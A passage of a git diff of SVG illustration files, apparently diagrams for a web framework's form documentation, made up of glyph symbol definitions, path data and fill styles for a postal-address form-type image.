x="363.391" y="258.684"/><use xlink:href="#J" x="371.301" y="258.684"/><use xlink:href="#s" x="379.074" y="258.684"/><use xlink:href="#o" x="380.813" y="258.684"/><use xlink:href="#K" x="384.621" y="258.684"/><use xlink:href="#x" x="393.059" y="258.684"/><use xlink:href="#x" x="400.832" y="258.684"/><use xlink:href="#m" x="408.605" y="258.684"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 290.793h27.399v23.852H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#L" x="149.242" y="309.043"/><use xlink:href="#h" x="158.383" y="309.043"/><use xlink:href="#M" x="162.875" y="309.043"/><use xlink:href="#N" x="168.305" y="309.043"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 281.52h188v40h-188zM197.313 287.52v-6c-3.313 0-6 2.683-6 6zM385.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 287.52h200v28h-200zM197.313 315.52h-6c0 3.312 2.687 6 6 6zM385.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 54.703h9.4M34.052 56.703h9.4M34.052 54.703a.3.3 0 0 0-.3.3M43.752 55.003a.3.3 0 0 0-.3-.3M33.752 55.003v1.4M43.752 55.003v1.4M33.752 56.403a.3.3 0 0 0 .3.3M43.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 362.023h62.353v23.852H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#O" x="114.887" y="380.273"/><use xlink:href="#P" x="123.793" y="380.273"/><use xlink:href="#Q" x="128.559" y="380.273"/><use xlink:href="#f" x="137.465" y="380.273"/><use xlink:href="#L" x="141.352" y="380.273"/><use xlink:href="#R" x="149.945" y="380.273"/><use xlink:href="#b" x="158.852" y="380.273"/><use xlink:href="#d" x="167.758" y="380.273"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 352.746h108v40h-108zM197.313 358.746v-6c-3.313 0-6 2.688-6 6zM305.313 358.746h6c0-3.312-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 358.746h120v28h-120zM197.313 386.746h-6c0 3.317 2.687 6 6 6zM305.313 386.746v6c3.312 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 58.264h5.4M34.052 60.264h5.4M34.052 58.264a.3.3 0 0 0-.3.3M39.752 58.564a.3.3 0 0 0-.3-.3M33.752 58.564v1.4M39.752 58.564v1.4M33.752 59.964a.3.3 0 0 0 .3.3M39.452 60.264a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.313 281.52h128v40h-128zM477.313 287.52v-6c-3.313 0-6 2.683-6 6zM605.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M471.313 287.52h140v28h-140zM477.313 315.52h-6c0 3.312 2.687 6 6 6zM605.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.052 54.703h6.4M48.052 56.703h6.4M48.052 54.703a.3.3 0 0 0-.3.3M54.752 55.003a.3.3 0 0 0-.3-.3M47.752 55.003v1.4M54.752 55.003v1.4M47.752 56.403a.3.3 0 0 0 .3.3M54.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 290.793h37.8v23.852h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#S" x="423.066" y="309.043"/><use xlink:href="#M" x="431.855" y="309.043"/><use xlink:href="#T" x="437.676" y="309.043"/><use xlink:href="#M" x="445.938" y="309.043"/><use xlink:href="#d" x="451.758" y="309.043"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m27.9 42.973.006 1.899" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M27.906 44.872a.269.269 0 0 1-.251-.25c0-.124.124-.25.25-.25a.27.27 0 0 1 .25.25c0 .124-.124.25-.25.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m46.275 43.802-.026 5.672" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M46.25 49.474a.269.269 0 0 1-.25-.251c0-.125.126-.25.251-.249.125 0 .25.126.25.251-.002.125-.127.25-.252.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M519.305 458.691h176.699v21.25h-176.7zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="519.305" y="474.941"/><use xlink:href="#x" x="527.137" y="474.941"/><use xlink:href="#r" x="534.91" y="474.941"/><use xlink:href="#l" x="540.984" y="474.941"/><use xlink:href="#p" x="545.926" y="474.941"/><use xlink:href="#I" x="553.133" y="474.941"/><use xlink:href="#U" x="557.332" y="474.941"/><use xlink:href="#p" x="563.348" y="474.941"/><use xlink:href="#q" x="570.555" y="474.941"/><use xlink:href="#q" x="578.348" y="474.941"/><use xlink:href="#m" x="586.141" y="474.941"/><use xlink:href="#n" x="591.082" y="474.941"/><use xlink:href="#r" x="598.523" y="474.941"/><use xlink:href="#r" x="604.598" y="474.941"/><use xlink:href="#U" x="610.672" y="474.941"/><use xlink:href="#r" x="616.688" y="474.941"/><use xlink:href="#l" x="622.762" y="474.941"/><use xlink:href="#p" x="627.703" y="474.941"/><use xlink:href="#l" x="634.91" y="474.941"/><use xlink:href="#n" x="639.734" y="474.941"/><use xlink:href="#U" x="647.176" y="474.941"/><use xlink:href="#V" x="653.191" y="474.941"/><use xlink:href="#H" x="663.816" y="474.941"/><use xlink:href="#q" x="667.723" y="474.941"/><use xlink:href="#J" x="675.516" y="474.941"/><use xlink:href="#n" x="683.289" y="474.941"/><use xlink:href="#l" x="690.73" y="474.941"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M44.988 24.355H165.84v21.25H44.988zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="44.988" y="40.605"/><use xlink:href="#x" x="52.82" y="40.605"/><use xlink:href="#r" x="60.594" y="40.605"/><use xlink:href="#l" x="66.668" y="40.605"/><use xlink:href="#p" x="71.609" y="40.605"/><use xlink:href="#I" x="78.816" y="40.605"/><use xlink:href="#U" x="83.016" y="40.605"/><use xlink:href="#p" x="89.031" y="40.605"/><use xlink:href="#q" x="96.238" y="40.605"/><use xlink:href="#q" x="104.031" y="40.605"/><use xlink:href="#m" x="111.824" y="40.605"/><use xlink:href="#n" x="116.766" y="40.605"/><use xlink:href="#r" x="124.207" y="40.605"/><use xlink:href="#r" x="130.281" y="40.605"/><use xlink:href="#U" x="136.355" y="40.605"/><use xlink:href="#m" x="142.371" y="40.605"/><use xlink:href="#x" x="147.313" y="40.605"/><use xlink:href="#V" x="154.949" y="40.605"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M311.148 41.605H524.5v21.25H311.148zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="311.148" y="57.855"/><use xlink:href="#x" x="318.98" y="57.855"/><use xlink:href="#r" x="326.754" y="57.855"/><use xlink:href="#l" x="332.828" y="57.855"/><use xlink:href="#p" x="337.77" y="57.855"/><use xlink:href="#I" x="344.977" y="57.855"/><use xlink:href="#U" x="349.176" y="57.855"/><use xlink:href="#p" x="355.191" y="57.855"/><use xlink:href="#q" x="362.398" y="57.855"/><use xlink:href="#q" x="370.191" y="57.855"/><use xlink:href="#m" x="377.984" y="57.855"/><use xlink:href="#n" x="382.926" y="57.855"/><use xlink:href="#r" x="390.367" y="57.855"/><use xlink:href="#r" x="396.441" y="57.855"/><use xlink:href="#U" x="402.516" y="57.855"/><use xlink:href="#p" x="408.531" y="57.855"/><use xlink:href="#q" x="415.738" y="57.855"/><use xlink:href="#q" x="423.531" y="57.855"/><use xlink:href="#m" x="431.324" y="57.855"/><use xlink:href="#n" x="436.266" y="57.855"/><use xlink:href="#r" x="443.707" y="57.855"/><use xlink:href="#r" x="449.781" y="57.855"/><use xlink:href="#W" x="455.855" y="57.855"/><use xlink:href="#H" x="463.316" y="57.855"/><use xlink:href="#C" x="467.223" y="57.855"/><use xlink:href="#n" x="475.133" y="57.855"/><use xlink:href="#X" x="482.574" y="57.855"/><use xlink:href="#U" x="490.68" y="57.855"/><use xlink:href="#Y" x="496.695" y="57.855"/><use xlink:href="#n" x="504.625" y="57.855"/><use xlink:href="#I" x="512.066" y="57.855"/><use xlink:href="#B" x="516.266" y="57.855"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M54.402 467.422h183.602v21.25H54.402zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="54.402" y="483.672"/><use xlink:href="#x" x="62.234" y="483.672"/><use xlink:href="#r" x="70.008" y="483.672"/><use xlink:href="#l" x="76.082" y="483.672"/><use xlink:href="#p" x="81.023" y="483.672"/><use xlink:href="#I" x="88.23" y="483.672"/><use xlink:href="#U" x="92.43" y="483.672"/><use xlink:href="#p" x="98.445" y="483.672"/><use xlink:href="#q" x="105.652" y="483.672"/><use xlink:href="#q" x="113.445" y="483.672"/><use xlink:href="#m" x="121.238" y="483.672"/><use xlink:href="#n" x="126.18" y="483.672"/><use xlink:href="#r" x="133.621" y="483.672"/><use xlink:href="#r" x="139.695" y="483.672"/><use xlink:href="#U" x="145.77" y="483.672"/><use xlink:href="#Z" x="151.785" y="483.672"/><use xlink:href="#H" x="158.27" y="483.672"/><use xlink:href="#B" x="162.176" y="483.672"/><use xlink:href="#aa" x="170.008" y="483.672"/><use xlink:href="#x" x="177.781" y="483.672"/><use xlink:href="#q" x="185.555" y="483.672"/><use xlink:href="#n" x="193.348" y="483.672"/><use xlink:href="#U" x="200.789" y="483.672"/><use xlink:href="#I" x="206.805" y="483.672"/><use xlink:href="#p" x="211.004" y="483.672"/><use xlink:href="#w" x="218.211" y="483.672"/><use xlink:href="#n" x="226.023" y="483.672"/><use xlink:href="#I" x="233.465" y="483.672"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m53.803 63.6.026-7.133" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M53.83 56.467c.124 0 .249.126.248.251 0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.252c0-.125.126-.25.251-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m29.356 63.968.027-4.877" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M29.383 59.091c.125 0 .25.127.248.252 0 .125-.126.249-.251.248a.269.269 0 0 1-.249-.251c.001-.125.127-.25.252-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/></svg>
diff --git a/_images/form/form-custom-type-postal-address.svg b/_images/form/form-custom-type-postal-address.svg
index ab0fde8af3a..42ffce4067f 100644
--- a/_images/form/form-custom-type-postal-address.svg
+++ b/_images/form/form-custom-type-postal-address.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 478"><defs><symbol overflow="visible" id="a"><path d="M 1.28125 -13.859375 C 1.707031 -13.984375 2.160156 -14.0625 2.640625 -14.09375 C 3.117188 -14.132812 3.59375 -14.15625 4.0625 -14.15625 C 4.59375 -14.15625 5.117188 -14.09375 5.640625 -13.96875 C 6.160156 -13.851562 6.628906 -13.632812 7.046875 -13.3125 C 7.472656 -13 7.8125 -12.5625 8.0625 -12 C 8.320312 -11.4375 8.453125 -10.722656 8.453125 -9.859375 C 8.453125 -9.015625 8.328125 -8.300781 8.078125 -7.71875 C 7.835938 -7.132812 7.515625 -6.65625 7.109375 -6.28125 C 6.703125 -5.914062 6.234375 -5.648438 5.703125 -5.484375 C 5.179688 -5.316406 4.640625 -5.234375 4.078125 -5.234375 C 4.023438 -5.234375 3.9375 -5.234375 3.8125 -5.234375 C 3.695312 -5.234375 3.570312 -5.238281 3.4375 -5.25 C 3.300781 -5.257812 3.171875 -5.269531 3.046875 -5.28125 C 2.921875 -5.289062 2.832031 -5.300781 2.78125 -5.3125 L 2.78125 0 L 1.28125 0 Z M 4.140625 -12.78125 C 3.867188 -12.78125 3.609375 -12.769531 3.359375 -12.75 C 3.117188 -12.726562 2.925781 -12.695312 2.78125 -12.65625 L 2.78125 -6.703125 C 2.832031 -6.671875 2.914062 -6.648438 3.03125 -6.640625 C 3.144531 -6.640625 3.257812 -6.632812 3.375 -6.625 C 3.5 -6.625 3.617188 -6.625 3.734375 -6.625 C 3.847656 -6.625 3.929688 -6.625 3.984375 -6.625 C 4.359375 -6.625 4.71875 -6.671875 5.0625 -6.765625 C 5.40625 -6.859375 5.707031 -7.023438 5.96875 -7.265625 C 6.238281 -7.515625 6.457031 -7.847656 6.625 -8.265625 C 6.789062 -8.691406 6.875 -9.222656 6.875 -9.859375 C 6.875 -10.421875 6.796875 -10.882812 6.640625 -11.25 C 6.492188 -11.625 6.296875 -11.925781 6.046875 -12.15625 C 5.804688 -12.382812 5.519531 -12.546875 5.1875 -12.640625 C 4.851562 -12.734375 4.503906 -12.78125 4.140625 -12.78125 Z M 4.140625 -12.78125"/></symbol><symbol overflow="visible" id="b"><path d="M 0.734375 -5 C 0.734375 -6.800781 1.039062 -8.125 1.65625 -8.96875 C 2.28125 -9.8125 3.164062 -10.234375 4.3125 -10.234375 C 5.539062 -10.234375 6.445312 -9.800781 7.03125 -8.9375 C 7.613281 -8.070312 7.90625 -6.757812 7.90625 -5 C 7.90625 -3.1875 7.585938 -1.859375 6.953125 -1.015625 C 6.328125 -0.179688 5.445312 0.234375 4.3125 0.234375 C 3.09375 0.234375 2.191406 -0.195312 1.609375 -1.0625 C 1.023438 -1.925781 0.734375 -3.238281 0.734375 -5 Z M 2.234375 -5 C 2.234375 -4.414062 2.269531 -3.882812 2.34375 -3.40625 C 2.414062 -2.925781 2.535156 -2.507812 2.703125 -2.15625 C 2.867188 -1.8125 3.085938 -1.539062 3.359375 -1.34375 C 3.628906 -1.15625 3.945312 -1.0625 4.3125 -1.0625 C 5.007812 -1.0625 5.53125 -1.367188 5.875 -1.984375 C 6.226562 -2.609375 6.40625 -3.613281 6.40625 -5 C 6.40625 -5.570312 6.367188 -6.097656 6.296875 -6.578125 C 6.222656 -7.066406 6.101562 -7.484375 5.9375 -7.828125 C 5.769531 -8.179688 5.550781 -8.453125 5.28125 -8.640625 C 5.007812 -8.835938 4.6875 -8.9375 4.3125 -8.9375 C 3.632812 -8.9375 3.117188 -8.625 2.765625 -8 C 2.410156 -7.375 2.234375 -6.375 2.234375 -5 Z M 2.234375 -5"/></symbol><symbol overflow="visible" id="c"><path d="M 1.015625 -1.640625 C 1.285156 -1.484375 1.601562 -1.347656 1.96875 -1.234375 C 2.332031 -1.117188 2.707031 -1.0625 3.09375 -1.0625 C 3.539062 -1.0625 3.914062 -1.171875 4.21875 -1.390625 C 4.53125 -1.609375 4.6875 -1.960938 4.6875 -2.453125 C 4.6875 -2.867188 4.59375 -3.207031 4.40625 -3.46875 C 4.21875 -3.738281 3.976562 -3.976562 3.6875 -4.1875 C 3.40625 -4.40625 3.097656 -4.601562 2.765625 -4.78125 C 2.429688 -4.96875 2.117188 -5.1875 1.828125 -5.4375 C 1.546875 -5.6875 1.3125 -5.984375 1.125 -6.328125 C 0.9375 -6.679688 0.84375 -7.125 0.84375 -7.65625 C 0.84375 -8.507812 1.070312 -9.148438 1.53125 -9.578125 C 1.988281 -10.015625 2.640625 -10.234375 3.484375 -10.234375 C 4.023438 -10.234375 4.492188 -10.179688 4.890625 -10.078125 C 5.296875 -9.984375 5.644531 -9.851562 5.9375 -9.6875 L 5.5625 -8.484375 C 5.3125 -8.617188 5.019531 -8.726562 4.6875 -8.8125 C 4.351562 -8.894531 4.007812 -8.9375 3.65625 -8.9375 C 3.175781 -8.9375 2.828125 -8.835938 2.609375 -8.640625 C 2.390625 -8.441406 2.28125 -8.128906 2.28125 -7.703125 C 2.28125 -7.367188 2.375 -7.082031 2.5625 -6.84375 C 2.75 -6.613281 2.984375 -6.398438 3.265625 -6.203125 C 3.554688 -6.015625 3.867188 -5.816406 4.203125 -5.609375 C 4.535156 -5.410156 4.84375 -5.175781 5.125 -4.90625 C 5.414062 -4.632812 5.65625 -4.304688 5.84375 -3.921875 C 6.03125 -3.546875 6.125 -3.070312 6.125 -2.5 C 6.125 -2.125 6.0625 -1.769531 5.9375 -1.4375 C 5.820312 -1.101562 5.640625 -0.8125 5.390625 -0.5625 C 5.140625 -0.320312 4.832031 -0.128906 4.46875 0.015625 C 4.101562 0.160156 3.675781 0.234375 3.1875 0.234375 C 2.59375 0.234375 2.082031 0.175781 1.65625 0.0625 C 1.226562 -0.0390625 0.867188 -0.1875 0.578125 -0.375 Z M 1.015625 -1.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 0.1875 -10 L 1.40625 -10 L 1.40625 -11.984375 L 2.84375 -12.4375 L 2.84375 -10 L 5 -10 L 5 -8.703125 L 2.84375 -8.703125 L 2.84375 -2.734375 C 2.84375 -2.148438 2.910156 -1.726562 3.046875 -1.46875 C 3.191406 -1.207031 3.421875 -1.078125 3.734375 -1.078125 C 4.003906 -1.078125 4.234375 -1.109375 4.421875 -1.171875 C 4.617188 -1.234375 4.832031 -1.3125 5.0625 -1.40625 L 5.34375 -0.265625 C 5.050781 -0.117188 4.726562 -0.00390625 4.375 0.078125 C 4.019531 0.171875 3.648438 0.21875 3.265625 0.21875 C 2.597656 0.21875 2.117188 0.00390625 1.828125 -0.421875 C 1.546875 -0.859375 1.40625 -1.566406 1.40625 -2.546875 L 1.40625 -8.703125 L 0.1875 -8.703125 Z M 0.1875 -10"/></symbol><symbol overflow="visible" id="e"><path d="M 1.078125 -9.40625 C 1.460938 -9.644531 1.929688 -9.828125 2.484375 -9.953125 C 3.035156 -10.085938 3.617188 -10.15625 4.234375 -10.15625 C 4.796875 -10.15625 5.242188 -10.070312 5.578125 -9.90625 C 5.921875 -9.738281 6.191406 -9.507812 6.390625 -9.21875 C 6.585938 -8.9375 6.710938 -8.613281 6.765625 -8.25 C 6.828125 -7.882812 6.859375 -7.5 6.859375 -7.09375 C 6.859375 -6.300781 6.84375 -5.523438 6.8125 -4.765625 C 6.78125 -4.003906 6.765625 -3.28125 6.765625 -2.59375 C 6.765625 -2.09375 6.78125 -1.625 6.8125 -1.1875 C 6.84375 -0.757812 6.90625 -0.347656 7 0.046875 L 5.90625 0.046875 L 5.5625 -1.140625 L 5.484375 -1.140625 C 5.285156 -0.796875 4.988281 -0.492188 4.59375 -0.234375 C 4.207031 0.015625 3.691406 0.140625 3.046875 0.140625 C 2.316406 0.140625 1.722656 -0.109375 1.265625 -0.609375 C 0.804688 -1.109375 0.578125 -1.800781 0.578125 -2.6875 C 0.578125 -3.257812 0.671875 -3.738281 0.859375 -4.125 C 1.054688 -4.507812 1.332031 -4.820312 1.6875 -5.0625 C 2.039062 -5.300781 2.460938 -5.46875 2.953125 -5.5625 C 3.441406 -5.664062 3.984375 -5.71875 4.578125 -5.71875 C 4.710938 -5.71875 4.847656 -5.71875 4.984375 -5.71875 C 5.117188 -5.71875 5.257812 -5.710938 5.40625 -5.703125 C 5.4375 -6.109375 5.453125 -6.472656 5.453125 -6.796875 C 5.453125 -7.554688 5.335938 -8.085938 5.109375 -8.390625 C 4.890625 -8.703125 4.476562 -8.859375 3.875 -8.859375 C 3.5 -8.859375 3.09375 -8.800781 2.65625 -8.6875 C 2.21875 -8.570312 1.851562 -8.429688 1.5625 -8.265625 Z M 5.421875 -4.5625 C 5.285156 -4.570312 5.148438 -4.578125 5.015625 -4.578125 C 4.878906 -4.585938 4.75 -4.59375 4.625 -4.59375 C 4.300781 -4.59375 3.984375 -4.566406 3.671875 -4.515625 C 3.367188 -4.460938 3.097656 -4.367188 2.859375 -4.234375 C 2.617188 -4.109375 2.425781 -3.929688 2.28125 -3.703125 C 2.144531 -3.472656 2.078125 -3.1875 2.078125 -2.84375 C 2.078125 -2.3125 2.207031 -1.894531 2.46875 -1.59375 C 2.726562 -1.300781 3.066406 -1.15625 3.484375 -1.15625 C 4.035156 -1.15625 4.460938 -1.285156 4.765625 -1.546875 C 5.078125 -1.816406 5.296875 -2.113281 5.421875 -2.4375 Z M 5.421875 -4.5625"/></symbol><symbol overflow="visible" id="f"><path d="M 2.71875 -2.375 C 2.71875 -1.914062 2.78125 -1.582031 2.90625 -1.375 C 3.03125 -1.175781 3.207031 -1.078125 3.4375 -1.078125 C 3.71875 -1.078125 4.046875 -1.148438 4.421875 -1.296875 L 4.5625 -0.140625 C 4.382812 -0.0351562 4.140625 0.046875 3.828125 0.109375 C 3.515625 0.179688 3.234375 0.21875 2.984375 0.21875 C 2.472656 0.21875 2.0625 0.0625 1.75 -0.25 C 1.4375 -0.5625 1.28125 -1.113281 1.28125 -1.90625 L 1.28125 -14 L 2.71875 -14 Z M 2.71875 -2.375"/></symbol><symbol overflow="visible" id="g"><path d="M 6.65625 -3.921875 L 2.703125 -3.921875 L 1.578125 0 L 0.09375 0 L 4.3125 -14.21875 L 5.140625 -14.21875 L 9.359375 0 L 7.796875 0 Z M 3.09375 -5.265625 L 6.296875 -5.265625 L 5.078125 -9.578125 L 4.703125 -11.6875 L 4.65625 -11.6875 L 4.28125 -9.546875 Z M 3.09375 -5.265625"/></symbol><symbol overflow="visible" id="h"><path d="M 7.484375 -3.4375 C 7.484375 -2.757812 7.488281 -2.144531 7.5 -1.59375 C 7.507812 -1.039062 7.554688 -0.492188 7.640625 0.046875 L 6.65625 0.046875 L 6.34375 -1.15625 L 6.265625 -1.15625 C 6.078125 -0.757812 5.78125 -0.425781 5.375 -0.15625 C 4.976562 0.101562 4.5 0.234375 3.9375 0.234375 C 2.851562 0.234375 2.046875 -0.179688 1.515625 -1.015625 C 0.992188 -1.859375 0.734375 -3.179688 0.734375 -4.984375 C 0.734375 -6.691406 1.054688 -7.984375 1.703125 -8.859375 C 2.359375 -9.742188 3.25 -10.1875 4.375 -10.1875 C 4.757812 -10.1875 5.066406 -10.160156 5.296875 -10.109375 C 5.523438 -10.066406 5.773438 -9.988281 6.046875 -9.875 L 6.046875 -14 L 7.484375 -14 Z M 6.046875 -8.421875 C 5.859375 -8.578125 5.644531 -8.691406 5.40625 -8.765625 C 5.175781 -8.835938 4.867188 -8.875 4.484375 -8.875 C 3.773438 -8.875 3.222656 -8.550781 2.828125 -7.90625 C 2.429688 -7.269531 2.234375 -6.285156 2.234375 -4.953125 C 2.234375 -4.367188 2.269531 -3.835938 2.34375 -3.359375 C 2.414062 -2.890625 2.53125 -2.484375 2.6875 -2.140625 C 2.84375 -1.796875 3.039062 -1.53125 3.28125 -1.34375 C 3.53125 -1.15625 3.835938 -1.0625 4.203125 -1.0625 C 5.160156 -1.0625 5.773438 -1.628906 6.046875 -2.765625 Z M 6.046875 -8.421875"/></symbol><symbol overflow="visible" id="i"><path d="M 1.1875 -10 L 2.203125 -10 L 2.453125 -8.9375 L 2.515625 -8.9375 C 2.703125 -9.320312 2.945312 -9.625 3.25 -9.84375 C 3.550781 -10.070312 3.914062 -10.1875 4.34375 -10.1875 C 4.644531 -10.1875 4.988281 -10.125 5.375 -10 L 5.09375 -8.546875 C 4.75 -8.660156 4.445312 -8.71875 4.1875 -8.71875 C 3.757812 -8.71875 3.410156 -8.59375 3.140625 -8.34375 C 2.867188 -8.101562 2.695312 -7.773438 2.625 -7.359375 L 2.625 0 L 1.1875 0 Z M 1.1875 -10"/></symbol><symbol overflow="visible" id="j"><path d="M 7.15625 -0.6875 C 6.84375 -0.382812 6.4375 -0.15625 5.9375 0 C 5.445312 0.15625 4.925781 0.234375 4.375 0.234375 C 3.75 0.234375 3.207031 0.113281 2.75 -0.125 C 2.289062 -0.375 1.910156 -0.726562 1.609375 -1.1875 C 1.304688 -1.644531 1.082031 -2.191406 0.9375 -2.828125 C 0.800781 -3.472656 0.734375 -4.195312 0.734375 -5 C 0.734375 -6.707031 1.046875 -8.003906 1.671875 -8.890625 C 2.304688 -9.785156 3.195312 -10.234375 4.34375 -10.234375 C 4.71875 -10.234375 5.085938 -10.1875 5.453125 -10.09375 C 5.816406 -10 6.144531 -9.8125 6.4375 -9.53125 C 6.726562 -9.257812 6.960938 -8.867188 7.140625 -8.359375 C 7.328125 -7.847656 7.421875 -7.1875 7.421875 -6.375 C 7.421875 -6.15625 7.410156 -5.914062 7.390625 -5.65625 C 7.367188 -5.394531 7.34375 -5.125 7.3125 -4.84375 L 2.234375 -4.84375 C 2.234375 -4.269531 2.28125 -3.75 2.375 -3.28125 C 2.46875 -2.8125 2.613281 -2.410156 2.8125 -2.078125 C 3.019531 -1.753906 3.28125 -1.503906 3.59375 -1.328125 C 3.90625 -1.148438 4.296875 -1.0625 4.765625 -1.0625 C 5.117188 -1.0625 5.472656 -1.125 5.828125 -1.25 C 6.179688 -1.382812 6.453125 -1.546875 6.640625 -1.734375 Z M 6.046875 -6.046875 C 6.066406 -7.046875 5.921875 -7.773438 5.609375 -8.234375 C 5.304688 -8.703125 4.890625 -8.9375 4.359375 -8.9375 C 3.742188 -8.9375 3.253906 -8.703125 2.890625 -8.234375 C 2.535156 -7.773438 2.328125 -7.046875 2.265625 -6.046875 Z M 6.046875 -6.046875"/></symbol><symbol overflow="visible" id="k"><path d="M 8.65625 -12.625 L 5.21875 -12.625 L 5.21875 0 L 3.71875 0 L 3.71875 -12.625 L 0.28125 -12.625 L 0.28125 -14 L 8.65625 -14 Z M 8.65625 -12.625"/></symbol><symbol overflow="visible" id="l"><path d="M 3.65625 -3.546875 L 4.078125 -1.59375 L 4.1875 -1.59375 L 4.484375 -3.546875 L 6 -10 L 7.453125 -10 L 5.078125 -1.015625 C 4.890625 -0.296875 4.703125 0.375 4.515625 1 C 4.328125 1.625 4.125 2.164062 3.90625 2.625 C 3.6875 3.082031 3.441406 3.441406 3.171875 3.703125 C 2.898438 3.960938 2.578125 4.09375 2.203125 4.09375 C 1.828125 4.09375 1.5 4.035156 1.21875 3.921875 L 1.453125 2.5625 C 1.640625 2.625 1.828125 2.632812 2.015625 2.59375 C 2.203125 2.5625 2.378906 2.453125 2.546875 2.265625 C 2.710938 2.078125 2.863281 1.796875 3 1.421875 C 3.144531 1.054688 3.269531 0.582031 3.375 0 L 0.140625 -10 L 1.78125 -10 Z M 3.65625 -3.546875"/></symbol><symbol overflow="visible" id="m"><path d="M 1.1875 -10 L 2.203125 -10 L 2.421875 -8.921875 L 2.5 -8.921875 C 2.988281 -9.796875 3.757812 -10.234375 4.8125 -10.234375 C 5.875 -10.234375 6.664062 -9.835938 7.1875 -9.046875 C 7.71875 -8.265625 7.984375 -6.984375 7.984375 -5.203125 C 7.984375 -4.359375 7.894531 -3.597656 7.71875 -2.921875 C 7.539062 -2.253906 7.289062 -1.679688 6.96875 -1.203125 C 6.65625 -0.734375 6.269531 -0.375 5.8125 -0.125 C 5.351562 0.113281 4.84375 0.234375 4.28125 0.234375 C 3.894531 0.234375 3.585938 0.207031 3.359375 0.15625 C 3.128906 0.113281 2.882812 0.0195312 2.625 -0.125 L 2.625 4 L 1.1875 4 Z M 2.625 -1.578125 C 2.8125 -1.421875 3.019531 -1.296875 3.25 -1.203125 C 3.476562 -1.109375 3.789062 -1.0625 4.1875 -1.0625 C 4.882812 -1.0625 5.441406 -1.421875 5.859375 -2.140625 C 6.273438 -2.859375 6.484375 -3.882812 6.484375 -5.21875 C 6.484375 -5.78125 6.445312 -6.285156 6.375 -6.734375 C 6.300781 -7.191406 6.179688 -7.582031 6.015625 -7.90625 C 5.859375 -8.238281 5.65625 -8.492188 5.40625 -8.671875 C 5.164062 -8.847656 4.863281 -8.9375 